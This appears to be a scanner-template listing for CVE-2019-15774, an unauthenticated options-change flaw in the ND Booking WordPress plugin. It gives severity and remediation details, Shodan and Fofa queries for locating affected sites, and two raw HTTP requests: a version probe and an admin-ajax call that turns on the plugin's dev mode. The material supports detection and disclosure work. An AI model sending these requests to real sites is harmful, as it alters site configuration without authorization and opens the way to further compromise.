| Title | ND Booking < 2.5 - Unauthenticated Options Change |
|---|---|
| Author | popcorn94 |
| Severity | Medium |
| Impact | Unauthenticated attackers can modify WordPress plugin options, potentially enabling development mode or altering plugin configuration to facilitate further attacks or compromise site functionality. |
| Remediation | Update the ND Booking plugin to version 2.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00933 |
| CVE ID | CVE-2019-15774 |
| CWE ID | CWE-601 |
| Shodan Query | http.html:"/wp-content/plugins/nd-booking" |
| Fofa Query | body="/wp-content/plugins/nd-booking/" |
| Tags | cve cve2019 wordpress wp-plugin nd-booking intrusive vkev vuln |
The Hotel Booking WordPress plugin ND Booking < 2.5 was affected by an Unauthenticated Options Change security vulnerability.
GET /wp-content/plugins/nd-booking/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=nd_booking_import_settings_php_function&nd_booking_value_import_settings=nd_booking_plugin_dev_mode%5Bnd_booking_option_value%5D1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15774.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-15774.pcap
N/AN/A